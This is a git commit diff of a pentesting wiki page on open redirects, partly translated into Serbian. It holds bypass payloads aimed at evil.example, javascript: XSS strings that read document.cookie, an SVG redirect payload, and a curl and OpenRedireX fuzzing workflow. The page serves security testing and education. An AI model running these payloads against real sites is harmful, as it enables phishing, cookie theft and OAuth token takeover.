Translated ['src/pentesting-web/open-redirect.md'] to sr

This commit is contained in:
Translator 2025-10-01 15:28:18 +00:00
parent 7702356f53
commit ad8e14bcda

View File

@ -5,14 +5,25 @@
## Open redirect ## Open redirect
### Preusmeravanje na localhost ili proizvoljne domene ### Redirect to localhost or arbitrary domains
- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
- Userinfo tricks defeat contains/startswith checks against trusted hosts:
- https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
- Backslash parsing confusion between frameworks/browsers:
- https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.
{{#ref}} {{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}} {{#endref}}
### Open Redirect za XSS ### Modern open-redirect to XSS pivots
```bash ```bash
#Basic payload, javascript code is executed after "javascript:" #Basic payload, javascript code is executed after "javascript:"
javascript:alert(1) javascript:alert(1)
@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/ /x:1/:///%01javascript:alert(document.cookie)/
";alert(0);// ";alert(0);//
``` ```
## Open Redirect učitavanje svg datoteka <details>
<summary>Još moderniji URL-based bypass payloads</summary>
```text
# Scheme-relative (current scheme is reused)
//evil.example
# Credentials (userinfo) trick
https://trusted.example@evil.example/
# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/
# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example
# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example
# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example
```
```
</details>
## Open Redirect uploading svg files
```html ```html
<code> <code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
</svg> </svg>
</code> </code>
``` ```
## Uobičajeni parametri za injekciju
## Common injection parameters
``` ```
/{payload} /{payload}
?next={payload} ?next={payload}
@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io
``` ```
## Primeri koda
## Code examples
#### .Net #### .Net
```bash ```bash
response.redirect("~/mysafe-subdomain/login.aspx") response.redirect("~/mysafe-subdomain/login.aspx")
``` ```
#### Java #### Java
```bash ```bash
response.redirect("http://mysafedomain.com"); response.redirect("http://mysafedomain.com");
``` ```
#### PHP #### PHP
```php ```php
<?php <?php
/* browser redirections*/ /* browser redirections*/
@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
exit; exit;
?> ?>
``` ```
## Hunting and exploitation workflow (practical)
- Single URL check with curl:
```bash
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
```
- Discover and fuzz likely parameters at scale:
<details>
<summary>Click to expand</summary>
```bash
# 1) Prikupi istorijske URL-ove, zadrži one sa common redirect params
cat domains.txt \
| gau --o urls.txt # or: waybackurls / katana / hakrawler
# 2) Grep common parameters and normalize list
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt
# 3) Koristi OpenRedireX za fuzzing sa payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
# 4) Ručno verifikuj interesantne hits
awk '/30[1237]|Location:/I' results.txt
```
```
</details>
- Ne zaboravite client-side sinks u SPAs: tražite window.location/assign/replace i pomoćne funkcije frameworka koje čitaju query/hash i preusmeravaju.
- Frameworks često uvode footguns kada su redirect destinacije izvedene iz nepouzdanog inputa (query params, Referer, cookies). Pogledajte Next.js napomene o redirects i izbegavajte dinamička odredišta izvedena iz korisničkog inputa.
{{#ref}}
../network-services-pentesting/pentesting-web/nextjs.md
{{#endref}}
- OAuth/OIDC flows: zloupotrebom open redirectors često dolazi do account takeover kroz leaking authorization codes/tokens. Pogledajte posvećen vodič:
{{#ref}}
./oauth-to-account-takeover.md
{{#endref}}
- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
```
## Alati ## Alati
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
- OpenRedireX fuzzer za otkrivanje open redirects. Primer:
```bash
# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
## Resursi # Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
```
## Izvori
- U [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) možete pronaći liste za fuzzing. - Na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect možete pronaći liste za fuzzing.
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
- PortSwigger Web Security Academy DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
- OpenRedireX Fuzzer za otkrivanje open redirect ranjivosti: https://github.com/devanshbatham/OpenRedireX
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}